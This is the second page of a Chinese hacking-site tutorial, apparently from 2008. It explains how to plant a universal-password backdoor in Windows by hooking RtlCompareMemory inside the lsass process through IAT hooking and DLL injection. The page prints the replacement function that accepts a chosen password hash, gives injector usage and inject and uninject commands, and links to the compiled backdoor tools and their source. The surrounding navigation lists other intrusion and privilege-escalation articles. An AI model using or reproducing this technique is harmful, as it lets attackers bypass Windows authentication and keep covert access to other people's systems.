黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图

您现在的位置: 黑客风云 >> 黑客文章 >> 网管频道 >> 入侵检测 >> 正文
·没有路由密码权限时的鸽08-23·上网安全 Vista自我防范10-11
·让濒临崩溃的Windows XP10-11·有备无患,快速自制救急10-11
·要你好看!Windows看图工10-11·空间赞助网提供不同类型10-11
·讨论net.exe和net1.exe的10-10·让3389远程桌面传输更通10-10
·巧妙入侵渗透赌博站10-10·Aspx空间扫权限工具10-10
·Windows2003最新提权工具10-10·易淘乐提供100M免费全能10-10
·系统开机密码忘了不着急10-09·中意网络提供免费100M免10-09
·与众不同 Windows XP开始10-08·让桌面图标翻跟斗 在XP上10-08
·上海宽元站长资助计划-提10-08·个性化Windows XP的任务10-07
·趣盘提供3G免费网络硬盘10-07·秀山热线提供200MB免费全10-07
·一次艰辛的提权过程10-06·成功入侵IT大卖场的渗透10-06
·mysqlhack- MYSQL利用工10-06·lanker一句话PHP后门客户10-06
·WIXI提供3G免费多媒体网10-06·新人网络提供100M/ftp免10-06
·如何利用QQ带来高流量10-05·UuShare提供免费网络文件10-05
[图文]利用IAT hook实现windows通用密码后门
        ★★★★★

利用IAT hook实现windows通用密码后门

文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2008-5-27 9:18:30

经过调试我发现这个函数就是我要找的那个“最底层的函数”。

代码:
SIZE_T
  RtlCompareMemory(
    IN CONST VOID  *Source1,
    IN CONST VOID  *Source2,
    IN SIZE_T  Length
    );

RtlCompareMemory in MSDN
并且我还发现了验证密码时这个函数3个参数的细节,
Source1是从SAM中取出的用户密码的Unicode形式的md4哈希,
Source2是用户输入的密码的Unicode形式的md4哈希,
Length总是16,因为md4的哈希就是16位。
很容易我写出了下面这个替代的函数:

代码:
int WINAPI MyRtlCompareMemory(void *a, void *b, int len) {
    if (len == 16 && pRtlCompareMemory(PASSWD_HASH, b, len) == 16)
        return 16;
    return pRtlCompareMemory(a, b, len);
}

其中pRtlCompareMemory是全局变量,是真正的RtlCompareMemory的地址,PASSWD_HASH是通用密码的哈希。
使用MyRtlCompareMemory来hook掉RtlCompareMemory,就可以实现预定的功能了。
如果要比较的是16位的,并且第二段内存与我们的哈希一样那就直接放行,不管第一段内存是什么。
也许有朋友会问,你这是hook了msv1_0模块内所有调用RtlCompareMemory的地方,不会出错吗?
放心吧,哪有那么巧,要比较的是16位的而且第二段内存又和我们的哈希一模一样?

要hook这个函数有很多方法,
我选择了最懒的一种,IAT hook+dll注入。
于是我写了一个小工具来注入dll:DllInject

代码:
C:\Documents and Settings\cly\桌面\bin>InjectDll.exe
InjectDll v0.1
Inject/UnInject a dll file to a process, by cly, at 20080522
Usage:
    InjectDll.exe (-i | -u | -U) pid filename
    -i: Inject
    -u: UnInject once
    -U: UnInject at all

passdoor.dll是要注入到lsass进程的dll,这个dll在DllMain中实现了IAT hook,很土的技术了,就不贴代码了,网上一搜一箩筐。

然后我又写了一个小工具:pdconfig
其实就是改passdoor.dll中的哈希,以免要换密码是又要重新编译passdoor.dll。

使用方法:

代码:
InjectDll.exe -i pid_of_lsass full_path_of_passdoor.dll

卸载方法:

代码:
InjectDll.exe -U pid_of_lsass full_path_of_passdoor.dll

http://clyfish.googlepages.com/passdoor.rar

这里是本文中相关工具的源码以及编译好的二进制文件。
其中包括InjectDll.exe, passdoor.dll和pdconfig.exe,所有代码均使用MingW gcc4.2.1编译。

上一页  [1] [2] 

文章录入:cainiaowang    责任编辑:xinlian 
【字体:
Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
ICP备案:冀06009886